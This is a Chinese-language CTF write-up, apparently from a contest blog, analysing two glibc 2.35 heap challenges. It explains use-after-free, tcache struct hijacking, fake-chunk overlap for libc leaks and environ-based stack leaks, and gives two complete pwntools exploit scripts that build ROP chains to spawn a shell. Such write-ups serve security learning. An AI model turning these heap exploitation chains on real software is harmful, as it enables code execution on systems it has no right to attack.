0x0E ptmalloc2 it’s myheap 分析 有add,delete和view三个函数,还有一个泄露puts地址的函数。add函数会申请一个0x18的chunk作为data chunk记录用户申请的buf chunk的size、inused和buf chunk的地址,并且把data chunk记录在chunk list当中,限制只能申请15个chunk。delete和view函数会检查inused字段。delete函数会先释放data chunk后释放buf chunk,然后置零inused,但是并不会将其他信息清零。libc版本是2.35,版本比较高,不能通过hook来getshell,但是可以通过IO_file等手法来攻击。这里选择通过堆风水来申请到栈上构建ROP来getshell。
可以注意到,data chunk是比较好控制的。data chunk上储存着堆地址,如果我想要泄露这个地址,只需要在释放过一个chunk后,再申请一个0x18的chunk就能泄露这些信息。并且也能修改inused字段,这也就意味着我们有机会double free。当然tcache在高版本下没那么好double free,但是可以修改完inused之后利用uaf实现一个chunk同时进入fastbin和tcachebin中,接着就是修改fd到栈上即可,这个fd需要与0x20对齐,并进行key加密。这是一种思路。
还有另一种思路,可以通过修改data chunk上的buf地址,修改为堆头的地址,然后修改tcache_perthread_struct
,劫持tcachebin链表,将栈地址写到特定偏移上,然后再申请相应大小的chunk就能申请到栈上。下面的exp利用的是这种思路。
关于栈地址的泄露,由于出题人送了libc地址,所以可以利用environ来获取栈地址,再通过调试找到合适的偏移写入rop链即可。但是实际上栈地址增长不规律,所以exp有1/16几率打通。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 from pwn import *r = process('./vuln' ) libc = ELF('./libc.so.6' ) e = ELF('./vuln' ) context.log_level = 'debug' def dbg (script='' ): gdb.attach(r, script) pause() def add (idx, size, content=b'/bin/sh\x00' ): r.recvuntil(b'>>> ' ) r.sendline(b'1' ) r.recvuntil(b'please input chunk_idx: ' ) r.sendline(str (idx).encode()) r.recvuntil(b'Enter chunk size: ' ) r.sendline(str (size).encode()) r.recvuntil(b'Enter chunk data: ' ) r.send(content) def view (idx ): r.recvuntil(b'>>> ' ) r.sendline(b'3' ) r.recvuntil(b'Enter chunk id: ' ) r.sendline(str (idx).encode()) def delete (idx ): r.recvuntil(b'>>> ' ) r.sendline(b'2' ) r.recvuntil(b'Enter chunk id: ' ) r.sendline(str (idx).encode()) def gift (): r.recvuntil(b'>>> ' ) r.sendline(b'114514' ) r.recvuntil(b'0x' ) puts_addr = int (r.recv(12 ), 16 ) libc_base = puts_addr-libc.symbols['puts' ] return libc_base libc_base = gift() log.success('libc_base: ' +hex (libc_base)) environ_addr = libc_base+libc.symbols['__environ' ] system_addr = libc_base+libc.sym['system' ] binsh_addr = libc_base+next (libc.search(b'/bin/sh\x00' )) rdi_addr = libc_base+0x2a3e5 ret = 0x401750 add(0 , 0x18 ) delete(0 ) add(1 , 0x18 , b'a' *0x10 ) view(1 ) r.recvuntil(b'a' *0x10 ) heap_base = u64(r.recv(6 ).ljust(8 , b'\x00' ))-0x2c0 log.success('heap_base: ' +hex (heap_base)) delete(1 ) add(0 , 0x20 ) add(1 , 0x20 ) add(2 , 0x50 ) delete(1 ) delete(0 ) base = heap_base & 0xffff base = base+0x10 add(3 , 0x18 , p64(0x1 )*2 +p64(heap_base+0x10 )) delete(1 ) payload = b'\x00\x00\x01' payload = payload.ljust(0x88 , b'\x00' ) payload += p64(environ_addr) add(1 , 0x280 , payload) add(4 , 0x20 , b'\x20' ) view(4 ) stack = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) log.success('stack: ' +hex (stack)) rbp = stack-(0xe20 -0xd30 ) delete(1 ) payload = b'\x00\x00\x00\x00\x01' payload = payload.ljust(0x90 , b'\x00' ) payload += p64(rbp) add(1 , 0x280 , payload) log.success('rsp: ' +hex (rbp)) dbg('b* add_chunk+303' ) add(5 , 0x30 , p64(0xdeadbeef )+p64(rdi_addr) + p64(binsh_addr)+p64(ret)+p64(system_addr)) r.interactive()
调试
0x0F ptmalloc2 it’s myheap pro 分析 这题和上一题的差别在于:限制了size最大不能超过fastbin大小,然后也没直接给出libc地址。所以这道题需要考虑三个问题:泄露堆地址,泄露libc地址,泄露栈地址。泄露堆地址很简单,依然是利用data chunk申请0x18大小就能泄露。但是libc地址,则至少需要一个大于tcachebin_max的chunk才能被放到unsortedbin中。栈地址则劫持data chunk后利用environ来泄露。所以主要的难点其实在于libc的泄露。
想要释放一个大于0x410的chunk,我们得想办法修改datachunk的size字段和相应buf chunk的size字段。我们考虑伪造一个可以造成chunk重叠的fake chunk,并且劫持一个data chunk使它于fake chunk相关联,如此一来我们就可以重新申请到fake chunk,并且修改其内容,从而改掉与其重叠的chunk的size大于0x410,释放掉我们就得到了unsortedbin中的chunk,通过打印fake chunk我们就能泄露libc地址。
泄露栈地址如出一辙,但是只需要劫持data chunk打到environ即可,然后找到add_chunk函数的ret地址偏移,后续我们把rop链写到其上即可。但是关于打栈就需要思考一下了。因为这题限制了size最大只能0x80,所以不能用上一题的劫持Tcachebin堆头的思路。这里我们依然利用fake chunk来伪造一个data chunk,使得其可以控制另一个fake chunk2,这样我们就可以通过fake chunk2被释放后申请来修改其相邻被释放chunk的fd,从而申请到栈上。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 from pwn import *r = process('./vuln' ) libc = ELF('./libc.so.6' ) e = ELF('./vuln' ) context.log_level = 'debug' def dbg (script='' ): gdb.attach(r, script) pause() def cmd (cho ): r.sendlineafter(b'>>> ' , str (cho).encode()) def add (i, size, content=b'/bin/sh\x00' ): cmd(1 ) r.sendlineafter(b'[?] please input chunk_idx: ' , str (i).encode()) r.sendlineafter(b'[?] Enter chunk size: ' , str (size).encode()) r.sendafter(b'[?] Enter chunk data: ' , content) def show (idx ): cmd(3 ) r.sendlineafter(b'[?] Enter chunk id: ' , str (idx).encode()) def delete (idx ): cmd(2 ) r.sendlineafter(b"[?] Enter chunk id: " , str (idx).encode()) def exit (): cmd(4 ) def de_heap (this, new_next ): base = 0 new_next = new_next ^ this base = this << 12 def en_heap (this, old_next ): result = 0 this = this >> 12 result = this ^ old_next return result add(0 , 0x20 ) add(1 , 0x20 ) add(2 , 0x50 ) delete(1 ) delete(0 ) add(3 , 0x18 , p64(0x31 )*2 ) show(3 ) r.recvuntil(p64(0x31 )*2 ) heap_base = u64(r.recv(6 )[-6 :].ljust(8 , b'\x00' ))-0x310 print ("heap_base=" , hex (heap_base))delete(3 ) add(0 , 0x20 ) add(1 , 0x20 ) pay = b'a' *0x40 +p64(0 )+p64(0x91 ) add(3 , 0x60 , pay) add(4 , 0x60 ) add(5 , 0x60 ) add(5 , 0x60 ) add(5 , 0x60 ) add(5 , 0x60 ) add(5 , 0x60 ) add(5 , 0x60 ) add(5 , 0x60 ) add(5 , 0x60 ) add(5 , 0x60 ) add(5 , 0x60 ) add(7 , 0x50 , (p64(0 )+p64(0x81 ))*5 ) add(8 , 0x50 ) add(10 , 0x50 ) add(5 , 0x60 ) delete(1 ) delete(0 ) target = heap_base+0x420 base = target & 0xffff base = base+0x10 add(3 , 0x18 , p64(0x1 )*2 +p16(base)) delete(1 ) add(6 , 0x80 , p64(0 )*3 +p64(0x21 )+p64(0x500 ) + p64(1 )+p64(heap_base+0x470 )+p64(0x511 )) delete(4 ) show(6 ) r.recvuntil(p64(0x511 )) libc_base = u64(r.recv(6 )[-6 :].ljust(8 , b'\x00' ))-0x21ace0 print ("libc_base=" , hex (libc_base))environ = 0x00222200 +libc_base one = [0x50a47 , 0xebc81 , 0xebc85 , 0xebc88 ] for i in range (0 , 4 ): one[i] = one[i]+libc_base delete(6 ) pay = p64(0 )*3 +p64(0x21 )+p64(0x50 )+p64(1 )+p64(environ) add(6 , 0x80 , pay) show(4 ) stack = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) print ("stack_addr=" , hex (stack))ret = stack-(0x62208 -0x620c8 ) rbp = ret-0x8 delete(6 ) pay = p64(0 )*3 +p64(0x21 )+p64(0x50 )+p64(1 )+p64(heap_base+0xad0 ) add(6 , 0x80 , pay) delete(10 ) delete(8 ) delete(4 ) print ("heap_base=" , hex (heap_base))next1 = en_heap(heap_base+0xb20 , rbp) add(4 , 0x70 , p64(0 )*5 +p64(0x21 )+p64(0x50 )+p64(1 ) + p64(heap_base+0xb20 )+p64(0x61 )+p64(next1)) add(9 , 0x50 , b'a' ) delete(4 ) print ("ret:" , hex (ret))pop_rdx_rbx = 0x11f2e7 +libc_base system = libc_base + 0x050d70 bin_sh = libc_base+0x1d8678 pop_rdi = libc_base+0x2a3e5 ret_addr = 0x4014BF add(11 , 0x50 , p64(rbp)+p64(pop_rdi)+p64(bin_sh) + p64(ret_addr)+p64(system)) r.interactive()
0x10 新生赛:让新生感到后悔的比赛。说实话还是能学到很多东西的。出得很好,下次别出了(bushi
堆题还是很不熟悉,都是靠xswlhhh椰撑起来的,是时候努力刷一刷buu的题了。